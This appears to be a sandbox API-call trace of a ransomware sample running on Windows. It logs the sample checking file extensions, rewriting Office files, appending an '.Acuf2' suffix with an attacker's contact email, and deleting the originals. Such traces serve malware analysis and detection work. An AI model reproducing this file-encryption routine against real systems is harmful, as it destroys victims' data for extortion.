	[0057.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.417] lstrlenW (lpString=".1cd") returned 4
	[0057.417] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0057.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.417] lstrlenW (lpString=".jpg") returned 4
	[0057.417] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0057.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.417] lstrlenW (lpString=".doc") returned 4
	[0057.417] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0057.417] lstrlenW (lpString=".docx") returned 5
	[0057.417] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0057.417] lstrlenW (lpString=".pdf") returned 4
	[0057.417] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0057.417] lstrlenW (lpString=".xls") returned 4
	[0057.417] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0057.417] lstrlenW (lpString=".xlsx") returned 5
	[0057.417] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0057.417] lstrlenW (lpString=".ppt") returned 4
	[0057.417] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0057.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.417] lstrlenW (lpString=".zip") returned 4
	[0057.417] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0057.417] lstrlenW (lpString=".rar") returned 4
	[0057.417] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0057.417] lstrlenW (lpString=".bz2") returned 4
	[0057.417] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0057.417] lstrlenW (lpString=".7z") returned 3
	[0057.417] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0057.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.417] lstrlenW (lpString=".dbf") returned 4
	[0057.418] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0057.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.418] lstrlenW (lpString=".1cd") returned 4
	[0057.418] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0057.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72
	[0057.418] lstrlenW (lpString=".jpg") returned 4
	[0057.418] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0057.418] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0057.418] lstrlenW (lpString="VisiorWW.msi") returned 12
	[0057.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0057.418] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=12060672) returned 1
	[0057.418] CloseHandle (hObject=0x20c) returned 1
	[0057.418] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020
	[0057.419] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0057.419] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0057.419] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0057.419] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0057.419] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0057.419] ReadFile (in: hFile=0x20c, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0057.665] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0057.665] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0057.674] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0057.674] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0057.674] ReadFile (in: hFile=0x20c, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0057.691] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.691] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0057.814] SetEndOfFile (hFile=0x20c) returned 1
	[0057.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f137c8
	[0057.833] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.833] WriteFile (in: hFile=0x20c, lpBuffer=0x3f137c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137c8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.835] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.835] WriteFile (in: hFile=0x20c, lpBuffer=0x3f137c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137c8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.840] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.840] WriteFile (in: hFile=0x20c, lpBuffer=0x3f137c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137c8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f137c8 | out: hHeap=0x4f0000) returned 1
	[0057.842] CloseHandle (hObject=0x20c) returned 1
	[0057.843] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0057.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.844] lstrlenW (lpString=".doc") returned 4
	[0057.844] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0057.844] lstrlenW (lpString=".docx") returned 5
	[0057.844] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0057.844] lstrlenW (lpString=".pdf") returned 4
	[0057.844] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0057.844] lstrlenW (lpString=".xls") returned 4
	[0057.844] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0057.844] lstrlenW (lpString=".xlsx") returned 5
	[0057.844] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0057.844] lstrlenW (lpString=".ppt") returned 4
	[0057.844] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0057.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.844] lstrlenW (lpString=".zip") returned 4
	[0057.844] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0057.844] lstrlenW (lpString=".rar") returned 4
	[0057.844] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0057.844] lstrlenW (lpString=".bz2") returned 4
	[0057.844] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0057.844] lstrlenW (lpString=".7z") returned 3
	[0057.844] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0057.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.844] lstrlenW (lpString=".dbf") returned 4
	[0057.844] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0057.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.845] lstrlenW (lpString=".1cd") returned 4
	[0057.845] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0057.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.845] lstrlenW (lpString=".jpg") returned 4
	[0057.845] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0057.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.845] lstrlenW (lpString=".doc") returned 4
	[0057.845] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0057.845] lstrlenW (lpString=".docx") returned 5
	[0057.845] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0057.845] lstrlenW (lpString=".pdf") returned 4
	[0057.845] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0057.845] lstrlenW (lpString=".xls") returned 4
	[0057.845] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0057.845] lstrlenW (lpString=".xlsx") returned 5
	[0057.845] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0057.845] lstrlenW (lpString=".ppt") returned 4
	[0057.845] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0057.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.845] lstrlenW (lpString=".zip") returned 4
	[0057.845] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0057.845] lstrlenW (lpString=".rar") returned 4
	[0057.845] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0057.845] lstrlenW (lpString=".bz2") returned 4
	[0057.845] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0057.845] lstrlenW (lpString=".7z") returned 3
	[0057.845] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0057.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.845] lstrlenW (lpString=".dbf") returned 4
	[0057.846] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0057.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.846] lstrlenW (lpString=".1cd") returned 4
	[0057.846] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0057.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75
	[0057.846] lstrlenW (lpString=".jpg") returned 4
	[0057.846] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0057.846] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0057.846] lstrlenW (lpString="EEINTL.DLL") returned 10
	[0057.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0057.847] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=64096) returned 1
	[0057.847] CloseHandle (hObject=0x20c) returned 1
	[0057.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20
	[0057.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0057.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0057.848] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.848] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0057.849] GetLastError () returned 0x0
	[0057.849] ReadFile (in: hFile=0x20c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0xfa60, lpOverlapped=0x0) returned 1
	[0057.855] WriteFile (in: hFile=0x204, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xfa70, lpOverlapped=0x0) returned 1
	[0057.856] ReadFile (in: hFile=0x20c, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0057.856] WriteFile (in: hFile=0x204, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0057.856] SetEndOfFile (hFile=0x204) returned 1
	[0057.857] CloseHandle (hObject=0x204) returned 1
	[0057.857] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.857] SetEndOfFile (hFile=0x20c) returned 1
	[0057.858] CloseHandle (hObject=0x20c) returned 1
	[0057.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0057.858] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1
	[0057.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0057.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0057.858] lstrlenW (lpString=".doc") returned 4
	[0057.858] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0057.858] lstrlenW (lpString=".docx") returned 5
	[0057.859] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0057.859] lstrlenW (lpString=".pdf") returned 4
	[0057.859] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0057.859] lstrlenW (lpString=".xls") returned 4
	[0057.859] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0057.859] lstrlenW (lpString=".xlsx") returned 5
	[0057.859] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0057.859] lstrlenW (lpString=".ppt") returned 4
	[0058.013] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0058.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.013] lstrlenW (lpString=".zip") returned 4
	[0058.013] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0058.013] lstrlenW (lpString=".rar") returned 4
	[0058.013] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0058.013] lstrlenW (lpString=".bz2") returned 4
	[0058.013] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0058.013] lstrlenW (lpString=".7z") returned 3
	[0058.013] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0058.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.013] lstrlenW (lpString=".dbf") returned 4
	[0058.013] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0058.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.013] lstrlenW (lpString=".1cd") returned 4
	[0058.013] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0058.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.013] lstrlenW (lpString=".jpg") returned 4
	[0058.013] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0058.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.014] lstrlenW (lpString=".doc") returned 4
	[0058.014] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0058.014] lstrlenW (lpString=".docx") returned 5
	[0058.014] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0058.014] lstrlenW (lpString=".pdf") returned 4
	[0058.014] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0058.014] lstrlenW (lpString=".xls") returned 4
	[0058.014] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0058.014] lstrlenW (lpString=".xlsx") returned 5
	[0058.014] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0058.014] lstrlenW (lpString=".ppt") returned 4
	[0058.014] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0058.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.014] lstrlenW (lpString=".zip") returned 4
	[0058.014] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0058.014] lstrlenW (lpString=".rar") returned 4
	[0058.014] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0058.014] lstrlenW (lpString=".bz2") returned 4
	[0058.014] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0058.014] lstrlenW (lpString=".7z") returned 3
	[0058.014] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0058.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.014] lstrlenW (lpString=".dbf") returned 4
	[0058.014] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0058.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.014] lstrlenW (lpString=".1cd") returned 4
	[0058.014] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0058.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71
	[0058.014] lstrlenW (lpString=".jpg") returned 4
	[0058.015] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0058.015] lstrcmpiW (lpString1=".CNT", lpString2=".Acuf2") returned 1
	[0058.015] lstrlenW (lpString="EQNEDT32.CNT") returned 12
	[0058.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.095] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2557) returned 1
	[0058.095] CloseHandle (hObject=0x1dc) returned 1
	[0058.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20
	[0058.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0058.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.095] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.096] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0058.096] GetLastError () returned 0x0
	[0058.096] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x9fd, lpOverlapped=0x0) returned 1
	[0058.296] WriteFile (in: hFile=0x158, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xa00, lpOverlapped=0x0) returned 1
	[0058.298] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.298] WriteFile (in: hFile=0x158, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0058.298] SetEndOfFile (hFile=0x158) returned 1
	[0058.298] CloseHandle (hObject=0x158) returned 1
	[0058.298] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.298] SetEndOfFile (hFile=0x1dc) returned 1
	[0058.299] CloseHandle (hObject=0x1dc) returned 1
